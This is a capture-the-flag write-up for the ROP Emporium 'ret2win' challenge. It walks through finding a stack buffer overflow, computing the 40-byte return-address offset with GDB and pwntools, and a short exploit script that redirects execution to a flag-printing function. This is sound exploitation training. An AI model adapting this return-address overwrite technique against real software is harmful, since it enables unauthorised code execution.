> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/challenge/ret2win/chall2.md).

# chall2

new challenge: <https://ropemporium.com/challenge/ret2win.html>

### Solution

We start by extracting the binary and running it to understand its behavior:

```bash
unzip ret2win.zip
chmod +x ret2win
./ret2win
```

The program prints a message saying it will try to fit **56 bytes into a 32-byte buffer**, which directly hints at a buffer overflow vulnerability. It also takes input using `read()`, meaning null bytes are allowed.

***

### Recon – Static Analysis

We disassemble the binary to understand its structure:

```bash
objdump -d ret2win
```

Looking into the `pwnme` function:

```asm
sub $0x20,%rsp      → allocates 32 bytes buffer
...
mov $0x38,%edx      → reads 56 bytes
call read
```

This confirms:

* Buffer size = **32 bytes**
* Input size = **56 bytes**

So we can overflow beyond the buffer and overwrite the return address.

***

### Finding Offset

To precisely control RIP, we use a cyclic pattern:

```bash
python3 -c 'from pwn import *; print(cyclic(100))'
```

We run the program inside GDB and feed the pattern:

```bash
gdb ./ret2win
run < <(python3 -c 'from pwn import *; print(cyclic(100))')
```

After the crash, we inspect registers:

```gdb
info registers
```

We observe values like:

```
$rsp : 0x6161616c6161616b ("kaaalaaa")
```

Now we calculate the exact offset:

```bash
python3 -c 'from pwn import *; print(cyclic_find(b"kaaalaaa"))'
```

This returns:

```
40
```

So the offset to RIP is **40 bytes**.

***

### Finding ret2win Function

Next, we search for useful functions:

```bash
nm ret2win | grep ret2win
```

Output:

```
0000000000400756 T ret2win
```

So the target address is:

```
0x400756
```

Looking at the disassembly:

```asm
ret2win:
    puts("Well done! Here's your flag:")
    system("cat flag.txt")
```

This function directly prints the flag.

***

### Exploitation

Now we craft the payload:

* 40 bytes padding
* overwrite return address with `ret2win`

```python
from pwn import *

payload = b"A"*40 + p64(0x400756)

p = process("./ret2win")
p.sendline(payload)
p.interactive()
```

***

### Execution Flow

When the payload is sent:

* Buffer is overflowed
* Return address is overwritten
* Execution jumps to `ret2win()`
* Flag is printed

After execution, the program crashes with `SIGSEGV` because the stack is corrupted, which is expected.

### Summary

A stack-based buffer overflow in `pwnme()` allowed control over RIP. By calculating the correct offset using a cyclic pattern and identifying the `ret2win()` function, execution was redirected to print the flag.
